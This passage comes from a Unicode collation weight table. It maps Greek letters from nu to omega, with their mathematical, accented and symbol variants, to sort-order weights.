[.1F46.0020.001C][.1C6F.0020.001C] # SQUARE MU G +3395 ; [.1F46.0020.001C][.1CF2.0020.001C] # SQUARE MU L +339B ; [.1F46.0020.001C][.1D25.0020.001C] # SQUARE MU M +33B2 ; [.1F46.0020.001C][.1DEC.0020.001C] # SQUARE MU S +33B6 ; [.1F46.0020.001C][.1E5E.0020.001D] # SQUARE MU V +33BC ; [.1F46.0020.001C][.1E70.0020.001D] # SQUARE MU W +03BD ; [.1F47.0020.0002] # GREEK SMALL LETTER NU +1D6CE ; [.1F47.0020.0005] # MATHEMATICAL BOLD SMALL NU +1D708 ; [.1F47.0020.0005] # MATHEMATICAL ITALIC SMALL NU +1D742 ; [.1F47.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL NU +1D77C ; [.1F47.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL NU +1D7B6 ; [.1F47.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL NU +039D ; [.1F47.0020.0008] # GREEK CAPITAL LETTER NU +1D6B4 ; [.1F47.0020.000B] # MATHEMATICAL BOLD CAPITAL NU +1D6EE ; [.1F47.0020.000B] # MATHEMATICAL ITALIC CAPITAL NU +1D728 ; [.1F47.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL NU +1D762 ; [.1F47.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL NU +1D79C ; [.1F47.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL NU +03BE ; [.1F48.0020.0002] # GREEK SMALL LETTER XI +1D6CF ; [.1F48.0020.0005] # MATHEMATICAL BOLD SMALL XI +1D709 ; [.1F48.0020.0005] # MATHEMATICAL ITALIC SMALL XI +1D743 ; [.1F48.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL XI +1D77D ; [.1F48.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL XI +1D7B7 ; [.1F48.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL XI +039E ; [.1F48.0020.0008] # GREEK CAPITAL LETTER XI +1D6B5 ; [.1F48.0020.000B] # MATHEMATICAL BOLD CAPITAL XI +1D6EF ; [.1F48.0020.000B] # MATHEMATICAL ITALIC CAPITAL XI +1D729 ; [.1F48.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL XI +1D763 ; [.1F48.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL XI +1D79D ; [.1F48.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL XI +03BF ; [.1F49.0020.0002] # GREEK SMALL LETTER OMICRON +1D6D0 ; [.1F49.0020.0005] # MATHEMATICAL BOLD SMALL OMICRON +1D70A ; [.1F49.0020.0005] # MATHEMATICAL ITALIC SMALL OMICRON +1D744 ; [.1F49.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL OMICRON +1D77E ; [.1F49.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL OMICRON +1D7B8 ; [.1F49.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL OMICRON +039F ; [.1F49.0020.0008] # GREEK CAPITAL LETTER OMICRON +1D6B6 ; [.1F49.0020.000B] # MATHEMATICAL BOLD CAPITAL OMICRON +1D6F0 ; [.1F49.0020.000B] # MATHEMATICAL ITALIC CAPITAL OMICRON +1D72A ; [.1F49.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL OMICRON +1D764 ; [.1F49.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL OMICRON +1D79E ; [.1F49.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL OMICRON +1F40 ; [.1F49.0020.0002][.0000.0022.0002] # GREEK SMALL LETTER OMICRON WITH PSILI +1F48 ; [.1F49.0020.0008][.0000.0022.0002] # GREEK CAPITAL LETTER OMICRON WITH PSILI +1F44 ; [.1F49.0020.0002][.0000.0022.0002][.0000.0024.0002] # GREEK SMALL LETTER OMICRON WITH PSILI AND OXIA +1F4C ; [.1F49.0020.0008][.0000.0022.0002][.0000.0024.0002] # GREEK CAPITAL LETTER OMICRON WITH PSILI AND OXIA +1F42 ; [.1F49.0020.0002][.0000.0022.0002][.0000.0025.0002] # GREEK SMALL LETTER OMICRON WITH PSILI AND VARIA +1F4A ; [.1F49.0020.0008][.0000.0022.0002][.0000.0025.0002] # GREEK CAPITAL LETTER OMICRON WITH PSILI AND VARIA +1F41 ; [.1F49.0020.0002][.0000.0023.0002] # GREEK SMALL LETTER OMICRON WITH DASIA +1F49 ; [.1F49.0020.0008][.0000.0023.0002] # GREEK CAPITAL LETTER OMICRON WITH DASIA +1F45 ; [.1F49.0020.0002][.0000.0023.0002][.0000.0024.0002] # GREEK SMALL LETTER OMICRON WITH DASIA AND OXIA +1F4D ; [.1F49.0020.0008][.0000.0023.0002][.0000.0024.0002] # GREEK CAPITAL LETTER OMICRON WITH DASIA AND OXIA +1F43 ; [.1F49.0020.0002][.0000.0023.0002][.0000.0025.0002] # GREEK SMALL LETTER OMICRON WITH DASIA AND VARIA +1F4B ; [.1F49.0020.0008][.0000.0023.0002][.0000.0025.0002] # GREEK CAPITAL LETTER OMICRON WITH DASIA AND VARIA +03CC ; [.1F49.0020.0002][.0000.0024.0002] # GREEK SMALL LETTER OMICRON WITH TONOS +1F79 ; [.1F49.0020.0002][.0000.0024.0002] # GREEK SMALL LETTER OMICRON WITH OXIA +038C ; [.1F49.0020.0008][.0000.0024.0002] # GREEK CAPITAL LETTER OMICRON WITH TONOS +1FF9 ; [.1F49.0020.0008][.0000.0024.0002] # GREEK CAPITAL LETTER OMICRON WITH OXIA +1F78 ; [.1F49.0020.0002][.0000.0025.0002] # GREEK SMALL LETTER OMICRON WITH VARIA +1FF8 ; [.1F49.0020.0008][.0000.0025.0002] # GREEK CAPITAL LETTER OMICRON WITH VARIA +03C0 ; [.1F4A.0020.0002] # GREEK SMALL LETTER PI +03D6 ; [.1F4A.0020.0004] # GREEK PI SYMBOL +213C ; [.1F4A.0020.0005] # DOUBLE-STRUCK SMALL PI +1D6D1 ; [.1F4A.0020.0005] # MATHEMATICAL BOLD SMALL PI +1D6E1 ; [.1F4A.0020.0005] # MATHEMATICAL BOLD PI SYMBOL +1D70B ; [.1F4A.0020.0005] # MATHEMATICAL ITALIC SMALL PI +1D71B ; [.1F4A.0020.0005] # MATHEMATICAL ITALIC PI SYMBOL +1D745 ; [.1F4A.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL PI +1D755 ; [.1F4A.0020.0005] # MATHEMATICAL BOLD ITALIC PI SYMBOL +1D77F ; [.1F4A.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL PI +1D78F ; [.1F4A.0020.0005] # MATHEMATICAL SANS-SERIF BOLD PI SYMBOL +1D7B9 ; [.1F4A.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL PI +1D7C9 ; [.1F4A.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC PI SYMBOL +03A0 ; [.1F4A.0020.0008] # GREEK CAPITAL LETTER PI +213F ; [.1F4A.0020.000B] # DOUBLE-STRUCK CAPITAL PI +1D6B7 ; [.1F4A.0020.000B] # MATHEMATICAL BOLD CAPITAL PI +1D6F1 ; [.1F4A.0020.000B] # MATHEMATICAL ITALIC CAPITAL PI +1D72B ; [.1F4A.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL PI +1D765 ; [.1F4A.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL PI +1D79F ; [.1F4A.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL PI +1D28 ; [.1F4B.0020.0002] # GREEK LETTER SMALL CAPITAL PI +03FB ; [.1F4C.0020.0002] # GREEK SMALL LETTER SAN +03FA ; [.1F4C.0020.0008] # GREEK CAPITAL LETTER SAN +03DF ; [.1F4D.0020.0002] # GREEK SMALL LETTER KOPPA +03DE ; [.1F4D.0020.0008] # GREEK LETTER KOPPA +03D9 ; [.1F4E.0020.0002] # GREEK SMALL LETTER ARCHAIC KOPPA +03D8 ; [.1F4E.0020.0008] # GREEK LETTER ARCHAIC KOPPA +03C1 ; [.1F4F.0020.0002] # GREEK SMALL LETTER RHO +03F1 ; [.1F4F.0020.0004] # GREEK RHO SYMBOL +1D6D2 ; [.1F4F.0020.0005] # MATHEMATICAL BOLD SMALL RHO +1D6E0 ; [.1F4F.0020.0005] # MATHEMATICAL BOLD RHO SYMBOL +1D70C ; [.1F4F.0020.0005] # MATHEMATICAL ITALIC SMALL RHO +1D71A ; [.1F4F.0020.0005] # MATHEMATICAL ITALIC RHO SYMBOL +1D746 ; [.1F4F.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL RHO +1D754 ; [.1F4F.0020.0005] # MATHEMATICAL BOLD ITALIC RHO SYMBOL +1D780 ; [.1F4F.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL RHO +1D78E ; [.1F4F.0020.0005] # MATHEMATICAL SANS-SERIF BOLD RHO SYMBOL +1D7BA ; [.1F4F.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL RHO +1D7C8 ; [.1F4F.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC RHO SYMBOL +03A1 ; [.1F4F.0020.0008] # GREEK CAPITAL LETTER RHO +1D6B8 ; [.1F4F.0020.000B] # MATHEMATICAL BOLD CAPITAL RHO +1D6F2 ; [.1F4F.0020.000B] # MATHEMATICAL ITALIC CAPITAL RHO +1D72C ; [.1F4F.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL RHO +1D766 ; [.1F4F.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL RHO +1D7A0 ; [.1F4F.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL RHO +1D68 ; [.1F4F.0020.0015] # GREEK SUBSCRIPT SMALL LETTER RHO +1FE4 ; [.1F4F.0020.0002][.0000.0022.0002] # GREEK SMALL LETTER RHO WITH PSILI +1FE5 ; [.1F4F.0020.0002][.0000.0023.0002] # GREEK SMALL LETTER RHO WITH DASIA +1FEC ; [.1F4F.0020.0008][.0000.0023.0002] # GREEK CAPITAL LETTER RHO WITH DASIA +1D29 ; [.1F50.0020.0002] # GREEK LETTER SMALL CAPITAL RHO +03FC ; [.1F51.0020.0002] # GREEK RHO WITH STROKE SYMBOL +03C3 ; [.1F52.0020.0002] # GREEK SMALL LETTER SIGMA +03F2 ; [.1F52.0020.0004] # GREEK LUNATE SIGMA SYMBOL +1D6D3 ; [.1F52.0020.0005] # MATHEMATICAL BOLD SMALL FINAL SIGMA +1D6D4 ; [.1F52.0020.0005] # MATHEMATICAL BOLD SMALL SIGMA +1D70D ; [.1F52.0020.0005] # MATHEMATICAL ITALIC SMALL FINAL SIGMA +1D70E ; [.1F52.0020.0005] # MATHEMATICAL ITALIC SMALL SIGMA +1D747 ; [.1F52.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL FINAL SIGMA +1D748 ; [.1F52.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL SIGMA +1D781 ; [.1F52.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL FINAL SIGMA +1D782 ; [.1F52.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL SIGMA +1D7BB ; [.1F52.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL FINAL SIGMA +1D7BC ; [.1F52.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL SIGMA +03A3 ; [.1F52.0020.0008] # GREEK CAPITAL LETTER SIGMA +03F9 ; [.1F52.0020.000A] # GREEK CAPITAL LUNATE SIGMA SYMBOL +1D6BA ; [.1F52.0020.000B] # MATHEMATICAL BOLD CAPITAL SIGMA +1D6F4 ; [.1F52.0020.000B] # MATHEMATICAL ITALIC CAPITAL SIGMA +1D72E ; [.1F52.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL SIGMA +1D768 ; [.1F52.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL SIGMA +1D7A2 ; [.1F52.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL SIGMA +03C2 ; [.1F52.0020.0019] # GREEK SMALL LETTER FINAL SIGMA +037C ; [.1F53.0020.0002] # GREEK SMALL DOTTED LUNATE SIGMA SYMBOL +03FE ; [.1F53.0020.0008] # GREEK CAPITAL DOTTED LUNATE SIGMA SYMBOL +037B ; [.1F54.0020.0002] # GREEK SMALL REVERSED LUNATE SIGMA SYMBOL +03FD ; [.1F54.0020.0008] # GREEK CAPITAL REVERSED LUNATE SIGMA SYMBOL +037D ; [.1F55.0020.0002] # GREEK SMALL REVERSED DOTTED LUNATE SIGMA SYMBOL +03FF ; [.1F55.0020.0008] # GREEK CAPITAL REVERSED DOTTED LUNATE SIGMA SYMBOL +03C4 ; [.1F56.0020.0002] # GREEK SMALL LETTER TAU +1D6D5 ; [.1F56.0020.0005] # MATHEMATICAL BOLD SMALL TAU +1D70F ; [.1F56.0020.0005] # MATHEMATICAL ITALIC SMALL TAU +1D749 ; [.1F56.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL TAU +1D783 ; [.1F56.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL TAU +1D7BD ; [.1F56.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL TAU +03A4 ; [.1F56.0020.0008] # GREEK CAPITAL LETTER TAU +1D6BB ; [.1F56.0020.000B] # MATHEMATICAL BOLD CAPITAL TAU +1D6F5 ; [.1F56.0020.000B] # MATHEMATICAL ITALIC CAPITAL TAU +1D72F ; [.1F56.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL TAU +1D769 ; [.1F56.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL TAU +1D7A3 ; [.1F56.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL TAU +03C5 ; [.1F57.0020.0002] # GREEK SMALL LETTER UPSILON +1D6D6 ; [.1F57.0020.0005] # MATHEMATICAL BOLD SMALL UPSILON +1D710 ; [.1F57.0020.0005] # MATHEMATICAL ITALIC SMALL UPSILON +1D74A ; [.1F57.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL UPSILON +1D784 ; [.1F57.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL UPSILON +1D7BE ; [.1F57.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL UPSILON +03A5 ; [.1F57.0020.0008] # GREEK CAPITAL LETTER UPSILON +03D2 ; [.1F57.0020.000A] # GREEK UPSILON WITH HOOK SYMBOL +1D6BC ; [.1F57.0020.000B] # MATHEMATICAL BOLD CAPITAL UPSILON +1D6F6 ; [.1F57.0020.000B] # MATHEMATICAL ITALIC CAPITAL UPSILON +1D730 ; [.1F57.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL UPSILON +1D76A ; [.1F57.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL UPSILON +1D7A4 ; [.1F57.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL UPSILON +1F50 ; [.1F57.0020.0002][.0000.0022.0002] # GREEK SMALL LETTER UPSILON WITH PSILI +1F54 ; [.1F57.0020.0002][.0000.0022.0002][.0000.0024.0002] # GREEK SMALL LETTER UPSILON WITH PSILI AND OXIA +1F52 ; [.1F57.0020.0002][.0000.0022.0002][.0000.0025.0002] # GREEK SMALL LETTER UPSILON WITH PSILI AND VARIA +1F56 ; [.1F57.0020.0002][.0000.0022.0002][.0000.002A.0002] # GREEK SMALL LETTER UPSILON WITH PSILI AND PERISPOMENI +1F51 ; [.1F57.0020.0002][.0000.0023.0002] # GREEK SMALL LETTER UPSILON WITH DASIA +1F59 ; [.1F57.0020.0008][.0000.0023.0002] # GREEK CAPITAL LETTER UPSILON WITH DASIA +1F55 ; [.1F57.0020.0002][.0000.0023.0002][.0000.0024.0002] # GREEK SMALL LETTER UPSILON WITH DASIA AND OXIA +1F5D ; [.1F57.0020.0008][.0000.0023.0002][.0000.0024.0002] # GREEK CAPITAL LETTER UPSILON WITH DASIA AND OXIA +1F53 ; [.1F57.0020.0002][.0000.0023.0002][.0000.0025.0002] # GREEK SMALL LETTER UPSILON WITH DASIA AND VARIA +1F5B ; [.1F57.0020.0008][.0000.0023.0002][.0000.0025.0002] # GREEK CAPITAL LETTER UPSILON WITH DASIA AND VARIA +1F57 ; [.1F57.0020.0002][.0000.0023.0002][.0000.002A.0002] # GREEK SMALL LETTER UPSILON WITH DASIA AND PERISPOMENI +1F5F ; [.1F57.0020.0008][.0000.0023.0002][.0000.002A.0002] # GREEK CAPITAL LETTER UPSILON WITH DASIA AND PERISPOMENI +03CD ; [.1F57.0020.0002][.0000.0024.0002] # GREEK SMALL LETTER UPSILON WITH TONOS +1F7B ; [.1F57.0020.0002][.0000.0024.0002] # GREEK SMALL LETTER UPSILON WITH OXIA +038E ; [.1F57.0020.0008][.0000.0024.0002] # GREEK CAPITAL LETTER UPSILON WITH TONOS +1FEB ; [.1F57.0020.0008][.0000.0024.0002] # GREEK CAPITAL LETTER UPSILON WITH OXIA +03D3 ; [.1F57.0020.000A][.0000.0024.0002] # GREEK UPSILON WITH ACUTE AND HOOK SYMBOL +1F7A ; [.1F57.0020.0002][.0000.0025.0002] # GREEK SMALL LETTER UPSILON WITH VARIA +1FEA ; [.1F57.0020.0008][.0000.0025.0002] # GREEK CAPITAL LETTER UPSILON WITH VARIA +1FE0 ; [.1F57.0020.0002][.0000.0026.0002] # GREEK SMALL LETTER UPSILON WITH VRACHY +1FE8 ; [.1F57.0020.0008][.0000.0026.0002] # GREEK CAPITAL LETTER UPSILON WITH VRACHY +1FE6 ; [.1F57.0020.0002][.0000.002A.0002] # GREEK SMALL LETTER UPSILON WITH PERISPOMENI +03CB ; [.1F57.0020.0002][.0000.002B.0002] # GREEK SMALL LETTER UPSILON WITH DIALYTIKA +03AB ; [.1F57.0020.0008][.0000.002B.0002] # GREEK CAPITAL LETTER UPSILON WITH DIALYTIKA +03D4 ; [.1F57.0020.000A][.0000.002B.0002] # GREEK UPSILON WITH DIAERESIS AND HOOK SYMBOL +03B0 ; [.1F57.0020.0002][.0000.002B.0002][.0000.0024.0002] # GREEK SMALL LETTER UPSILON WITH DIALYTIKA AND TONOS +1FE3 ; [.1F57.0020.0002][.0000.002B.0002][.0000.0024.0002] # GREEK SMALL LETTER UPSILON WITH DIALYTIKA AND OXIA +1FE2 ; [.1F57.0020.0002][.0000.002B.0002][.0000.0025.0002] # GREEK SMALL LETTER UPSILON WITH DIALYTIKA AND VARIA +1FE7 ; [.1F57.0020.0002][.0000.002B.0002][.0000.002A.0002] # GREEK SMALL LETTER UPSILON WITH DIALYTIKA AND PERISPOMENI +1FE1 ; [.1F57.0020.0002][.0000.0032.0002] # GREEK SMALL LETTER UPSILON WITH MACRON +1FE9 ; [.1F57.0020.0008][.0000.0032.0002] # GREEK CAPITAL LETTER UPSILON WITH MACRON +03C6 ; [.1F58.0020.0002] # GREEK SMALL LETTER PHI +03D5 ; [.1F58.0020.0004] # GREEK PHI SYMBOL +1D6D7 ; [.1F58.0020.0005] # MATHEMATICAL BOLD SMALL PHI +1D6DF ; [.1F58.0020.0005] # MATHEMATICAL BOLD PHI SYMBOL +1D711 ; [.1F58.0020.0005] # MATHEMATICAL ITALIC SMALL PHI +1D719 ; [.1F58.0020.0005] # MATHEMATICAL ITALIC PHI SYMBOL +1D74B ; [.1F58.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL PHI +1D753 ; [.1F58.0020.0005] # MATHEMATICAL BOLD ITALIC PHI SYMBOL +1D785 ; [.1F58.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL PHI +1D78D ; [.1F58.0020.0005] # MATHEMATICAL SANS-SERIF BOLD PHI SYMBOL +1D7BF ; [.1F58.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL PHI +1D7C7 ; [.1F58.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC PHI SYMBOL +03A6 ; [.1F58.0020.0008] # GREEK CAPITAL LETTER PHI +1D6BD ; [.1F58.0020.000B] # MATHEMATICAL BOLD CAPITAL PHI +1D6F7 ; [.1F58.0020.000B] # MATHEMATICAL ITALIC CAPITAL PHI +1D731 ; [.1F58.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL PHI +1D76B ; [.1F58.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL PHI +1D7A5 ; [.1F58.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL PHI +1D60 ; [.1F58.0020.0014] # MODIFIER LETTER SMALL GREEK PHI +1D69 ; [.1F58.0020.0015] # GREEK SUBSCRIPT SMALL LETTER PHI +03C7 ; [.1F59.0020.0002] # GREEK SMALL LETTER CHI +1D6D8 ; [.1F59.0020.0005] # MATHEMATICAL BOLD SMALL CHI +1D712 ; [.1F59.0020.0005] # MATHEMATICAL ITALIC SMALL CHI +1D74C ; [.1F59.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL CHI +1D786 ; [.1F59.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL CHI +1D7C0 ; [.1F59.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL CHI +03A7 ; [.1F59.0020.0008] # GREEK CAPITAL LETTER CHI +1D6BE ; [.1F59.0020.000B] # MATHEMATICAL BOLD CAPITAL CHI +1D6F8 ; [.1F59.0020.000B] # MATHEMATICAL ITALIC CAPITAL CHI +1D732 ; [.1F59.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL CHI +1D76C ; [.1F59.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL CHI +1D7A6 ; [.1F59.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL CHI +1D61 ; [.1F59.0020.0014] # MODIFIER LETTER SMALL CHI +1D6A ; [.1F59.0020.0015] # GREEK SUBSCRIPT SMALL LETTER CHI +03C8 ; [.1F5A.0020.0002] # GREEK SMALL LETTER PSI +1D6D9 ; [.1F5A.0020.0005] # MATHEMATICAL BOLD SMALL PSI +1D713 ; [.1F5A.0020.0005] # MATHEMATICAL ITALIC SMALL PSI +1D74D ; [.1F5A.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL PSI +1D787 ; [.1F5A.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL PSI +1D7C1 ; [.1F5A.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL PSI +03A8 ; [.1F5A.0020.0008] # GREEK CAPITAL LETTER PSI +1D6BF ; [.1F5A.0020.000B] # MATHEMATICAL BOLD CAPITAL PSI +1D6F9 ; [.1F5A.0020.000B] # MATHEMATICAL ITALIC CAPITAL PSI +1D733 ; [.1F5A.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL PSI +1D76D ; [.1F5A.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL PSI +1D7A7 ; [.1F5A.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL PSI +1D2A ; [.1F5B.0020.0002] # GREEK LETTER SMALL CAPITAL PSI +03C9 ; [.1F5C.0020.0002] # GREEK SMALL LETTER OMEGA +1D6DA ; [.1F5C.0020.0005] # MATHEMATICAL BOLD SMALL OMEGA +1D714 ; [.1F5C.0020.0005] # MATHEMATICAL ITALIC SMALL OMEGA +1D74E ; [.1F5C.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL OMEGA +1D788 ; [.1F5C.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL OMEGA +1D7C2 ; [.1F5C.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL OMEGA +03A9 ; [.1F5C.0020.0008] # GREEK CAPITAL LETTER OMEGA +2126 ; [.1F5C.0020.0008] # OHM SIGN +1D6C0 ; [.1F5C.0020.000B] # MATHEMATICAL BOLD CAPITAL OMEGA +1D6FA ; [.1F5C.0020.000B] # MATHEMATICAL ITALIC CAPITAL OMEGA +1D734 ; [.1F5C.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL OMEGA +1D76E ; [.1F5C.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL OMEGA +1D7A8 ; [.1F5C.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL OMEGA +1F60 ; [.1F5C.0020.0002][.0000.0022.0002] # GREEK SMALL LETTER OMEGA WITH PSILI +1F68 ; [.1F5C.0020.0008][.0000.0022.0002] # GREEK CAPITAL LETTER OMEGA WITH PSILI +1F64 ; [.1F5C.0020.0002][.0000.0022.0002][.0000.0024.0002] # GREEK SMALL LETTER OMEGA WITH PSILI AND OXIA +1F6C ; [.1F5C.0020.0008][.0000.0022.0002][.0000.0024.0002] # GREEK CAPITAL LETTER OMEGA WITH PSILI AND OXIA +1FA4 ; [.1F5C.0020.0002][.0000.0022.0002][.0000.0024.0002][.0000.004C.0002] # GREEK SMALL LETTER OMEGA WITH PSILI AND OXIA AND YPOGEGRAMMENI +1FAC ; [.1F5C.0020.0008][.0000.0022.0002][.0000.0024.0002][.0000.004C.0002] # GREEK CAPITAL LETTER OMEGA WITH PSILI AND OXIA AND PROSGEGRAMMENI +1F62 ; [.1F5C.0020.0002][.0000.0022.0002][.0000.0025.0002] # GREEK SMALL LETTER OMEGA WITH PSILI AND VARIA +1F6A ; [.1F5C.0020.0008][.0000.0022.0002][.0000.0025.0002] # GREEK CAPITAL LETTER OMEGA WITH PSILI AND VARIA +1FA2 ; [.1F5C.0020.0002][.0000.0022.0002][.0000.0025.0002][.0000.004C.0002] # GREEK SMALL LETTER OMEGA WITH PSILI AND VARIA AND YPOGEGRAMMENI +1FAA ; [.1F5C.0020.0008][.0000.0022.0002][.0000.0025.0002][.0000.004C.0002] # GREEK CAPITAL LETTER OMEGA WITH PSILI AND VARIA AND PROSGEGRAMMENI +1F66 ; [.1F5C.0020.0002][.0000.0022.0002][.0000.002A.0002] # GREEK SMALL LETTER OMEGA WITH PSILI AND PERISPOMENI +1F6E ; [.1F5C.0020.0008][.0000.0022.0002][.0000.002A.0002] # GREEK CAPITAL LETTER OMEGA WITH PSILI AND PERISPOMENI +1FA6 ; [.1F5C.0020.0002][.0000.0022.0002][.0000.002A.0002][.0000.004C.0002] # GREEK SMALL LETTER OMEGA WITH PSILI AND PERISPOMENI AND YPOGEGRAMMENI +1FAE ; [.1F5C.0020.0008][.0000.0022.0002][.0000.002A.0002][.0000.004C.0002] # GREEK CAPITAL LETTER OMEGA WITH PSILI AND PERISPOMENI AND PROSGEGRAMMENI +1FA0 ; [.1F5C.0020.0002][.0000.0022.0002][.0000.004C.0002] # GREEK SMALL LETTER OMEGA WITH PSILI AND YPOGEGRAMMENI +1FA8 ; [.1F5C.0020.0008][.0000.0022.0002][.0000.004C.0002] # GREEK CAPITAL LETTER OMEGA WITH PSILI AND PROSGEGRAMMENI +1F61 ; [.1F5C.0020.0002][.0000.0023.0002] # GREEK SMALL LETTER OMEGA WITH DASIA +1F69 ; [.1F5C.0020.0008][.0000.0023.0002] # GREEK CAPITAL LETTER OMEGA WITH DASIA +1F65 ; [.1F5C.0020.0002][.0000.0023.0002][.0000.0024.0002] # GREEK SMALL LETTER OMEGA WITH DASIA AND OXIA +1F6D ; [.1F5C.0020.0008][.0000.0023.0002][.0000.0024.0002] # GREEK CAPITAL LETTER OMEGA WITH DASIA AND OXIA +1FA5 ; [.1F5C.0020.0002][.0000.0023.0002][.0000.0024.0002][.0000.004C.0002] # GREEK SMALL LETTER OMEGA WITH DASIA AND OXIA AND YPOGEGRAMMENI +1FAD ; [.1F5C.0020.0008][.0000.0023.0002][.0000.0024.0002][.0000.004C.0002] # GREEK CAPITAL LETTER OMEGA WITH DASIA AND OXIA AND PROSGEGRAMMENI +1F63 ; [.1F5C.0020.0002][.0000.0023.0002][.0000.0025.0002] # GREEK SMALL LETTER OMEGA WITH DASIA AND VARIA +1F6B ; [.1F5C.0020.0008][.0000.0023.0002][.0000.0025.0002] # GREEK CAPITAL LETTER OMEGA WITH DASIA AND VARIA +1FA3 ; [.1F5C.0020.0002][.0000.0023.0002][.0000.0025.0002][.0000.004C.0002] # GREEK SMALL LETTER OMEGA WITH DASIA AND VARIA AND YPOGEGRAMMENI +1FAB ; [.1F5C.0020.0008][.0000.0023.0002][.0000.0025.0002][.0000.004C.0002] # GREEK CAPITAL LETTER OMEGA WITH DASIA AND VARIA AND PROSGEGRAMMENI +1F67 ; [.1F5C.0020.0002][.0000.0023.0002][.0000.002A.0002] # GREEK SMALL LETTER OMEGA WITH DASIA AND PERISPOMENI +1F6F ; [.1F5C.0020.0008][.0000.0023.0002][.0000.002A.0002] # GREEK CAPITAL LETTER OMEGA WITH DASIA AND PERISPOMENI +1FA7 ; [.1F5C.0020.0002][.0000.0023.0002][.0000.002A.0002][.0000.004C.0002] # GREEK SMALL LETTER OMEGA WITH DASIA AND PERISPOMENI AND YPOGEGRAMMENI +1FAF ; [.1F5C.0020.0008][.0000.0023.0002][.0000.002A.0002][.0000.004C.0002] # GREEK CAPITAL LETTER OMEGA WITH DASIA AND PERISPOMENI AND PROSGEGRAMMENI +1FA1 ; [.1F5C.0020.0002][.0000.0023.0002][.0000.004C.0002] # GREEK SMALL LETTER OMEGA WITH DASIA AND YPOGEGRAMMENI +1FA9 ; [.1F5C.0020.0008][.0000.0023.0002][.0000.004C.0002] # GREEK CAPITAL LETTER OMEGA WITH DASIA AND PROSGEGRAMMENI +03CE ; [.1F5C.0020.0002][.0000.0024.0002] # GREEK SMALL 